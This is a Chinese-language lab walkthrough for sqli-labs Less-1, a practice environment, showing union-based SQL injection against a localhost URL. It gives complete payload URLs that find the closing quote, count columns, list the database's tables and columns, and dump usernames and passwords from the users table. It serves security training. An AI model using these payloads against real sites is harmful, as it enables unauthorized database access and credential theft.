Less-1

1、判断是数字型还是字符型

分别添加?id=1, ?id=2, ?id=2-1 ,观察页面的变化,判断是字符型还是数字型。
如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型

因为1与2-1一样,它是字符型。

2、通过报错判断闭合符

在id=2后面分别加上' , " 即单引号,双引号!

发现加'时报错了,而加"是正常显示,说明闭合符是'。所以我们应该使用',让它闭合。

3、确认查询的字段数量

1
http://localhost/sql/Less-1/?id=1' order by 3 --+

在后面分别添加?id=1'order by 1 --+?id=1'order by 2 --+?id=1'order by 3 --+……order by n --+,观察是否报错

我们发现在by 3的时候还是正常的,而by 4的时候就没了,说明要查询的字段数量是3个。

4、确认占位信息

把id的值换成-1,不让它显示正常的值,然后在后面加上union select 1,2,3 –+。查看字段的占位信息。

1
http://localhost/sql/Less-1/?id=-1'union select 1,2,3 --+

5、找库名

…… union select 1,2,database() --+,把3换成database(),即在输出3的地方输出数据库名。

1
2
http://localhost/sql/Less-1/?id=-1'union select 1,2,database() --+
1

可以看到数据库名为security,接下来查询表Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入,group_concat是一个函数,当然你也可以用其他函数,这句话的意思就是从information_schema这个库里查security这个数据库里的所有表。`

6、查表名

1
http://localhost/sql/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

group_concat()是把要输出的内容都放在一个分组里输出,如果不加的话,就只会输出第一个表名。

7、找表字段

1
2
3

http://localhost/sql/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'--+
1

users表里有id,username,password三个字段。

8、找用户名和密码

1
2
http://localhost/sql/Less-1/?id=-1'union select 01,2,group_concat(concat_ws(',',username,password) SEPARATOR '|') from users --+
1

账号密码就出来了
不同用户以|分割,账号密码以,隔开

over